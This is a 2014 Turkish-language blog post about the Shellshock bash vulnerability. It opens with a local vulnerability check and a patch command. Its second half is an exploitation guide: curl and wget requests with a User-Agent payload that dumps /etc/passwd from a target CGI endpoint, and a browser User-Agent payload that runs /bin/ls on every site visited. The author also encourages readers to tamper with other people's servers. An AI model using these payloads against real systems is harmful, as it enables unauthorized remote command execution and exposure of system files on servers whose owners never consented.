ShellShock Nedir ? Nasıl Önlem Alınır ?
Merhabalar,
Uzun zamandır yazı yazma üşengeçliğimi kıracak derecede önemli bir zaafiyetten bahsedicem.
Bildiğiniz gibi geçtiğimiz aylarda HeardBleed zaafiyetinin ortaya çıkmasının ardından internette
"Güvenlik" konusu çok fazla tartışılmaya başlamış, elektronik alış veriş bir nebze güven kaybına
uğramıştı.
Bunun üzerinden çok fazla geçmemesine rağmen elimize yeni bir açık ulaştı. CVE-2014-6271 yani "Shell
Shock". Bu zaaf HeardBleed'ten biraz daha tehlikeli çünkü etkilenenler sadece OpenSSL yüklü "Web
sunucuları" değil. Modemler, routerlar, web sunucuları, Linux ve Mac kullanıcıları.
Yani açığa maruz kalan kitle daha geniş ve açık daha tehlikeli.
Peki neden daha tehlikeli ?
Bildiğiniz gibi HeardBleed açığında sunucuda o anda ram'de olan bilgilere erişiyordunuz. ShellShock'da
ise dilediğiniz komutu çalıştırabiliyorsunuz. Sunucuya erişim sağlayıp, istediğiniz gibi kullanabilmeniz
mümkün.
Peki sunucum açıktan etkileniyor mu ?
Bunu tespit edebilmek için çeşitli servisler mevcut dilerseniz;
http://shellshock.iecra.org/
http://check.shellshock.info/
/>
Sayfalarından online olarak sunucunuzun açıktan etkilenme durumunu test edebilirsiniz. "İnternet bu
kadar güvensiz bir hali almışken, neden o sitelere güveneyim ki ?" sorusu zihninizde yankılanıyorsa
bunun için manuel test imkanınız da mevcut.
Sunucunuza terminalden eriştikten sonra;
env x='() { :;}; echo vulnerable' bash -c "test"
Komutunu yapıştırıp, enterladığınızda test cevabını alıyorsanız, güvendesiniz. Ekrana gelen mesaj
"vulnerable" ise biran önce güncelleme yapmanız gerekmekte.
yum update bash -y
Peki bu zaaftan nasıl yararlanabilir veya bunu exploit haline getirebiliriz ?
İşin en güzel kısmı ise burası. Herhangi bir yazılım dilini bilmenize gerek yok. Yapmanız gereken tek
işlem terminal ekranında;
curl -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd' http://hedef/cgi-bin/q.cgi
/> veya
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://hedef/cgibin/q.cgi
/>
şeklinde komutlarla ulaşabilirsiniz.
Daha kolay ve hızlı bir yöntem ise tarayıcınıza kuracağınız basit bir eklentiye küçük ayar değişiklikleri
yapmak.
Örneğin Chrome için buradaki eklentiyi kurup, User-Agent kısmına
() { :;}; echo "Content-Type: text/html"; echo; echo; /bin/ls
Yazarak girdiğiniz her sitede ilgili zaafın olup olmadığını tespit edebilirsiniz.
Ben önce kendim oynayıp, sonra milletin sunucusunda fink atmak istiyorum derseniz de. Öncelikle
sunucunuzdaki cgi-bin klasöründe Apache ayarınıza göre aşağıdaki dosyayı test.cgi veya test.pl uzantıs
ile kayıt ediyorsunuz.
#!/bin/bash
echo "Content-type: text/plain"
echo
echo "Merdincz.com ShellShock Game"
Daha sonra yukarıda vermiş olduğum Usager-Agent eklentisinde yeni Agent tanımlayıp, zaafiyet kodunu
yapıştırıp, sayfayı yeniliyorsunuz. Karşınızda Shellshock game mesajı yerine, klasörün içerisindeki
dosyalar yer alacak.
Herhangi bir dosya okuma, yazma işlemleri için ise klasik terminal komutlarını kullanabilirsiniz.
Komutların başına tam olarak ilgili komutun bulunduğu dizini yazmanız gerekmekte. Yani klasik linux
komutları için /bin/ eklemeniz yeterli.
Örneğin; /bin/ls, /bin/cat, /bin/passwd gibi.
Mustafa Erdinç ZORBA
28 Eyl. 2014
[email protected]
www.merdincz.com
Download

ShellShock Nedir ? Nasıl Önlem Alınır ? | merdincz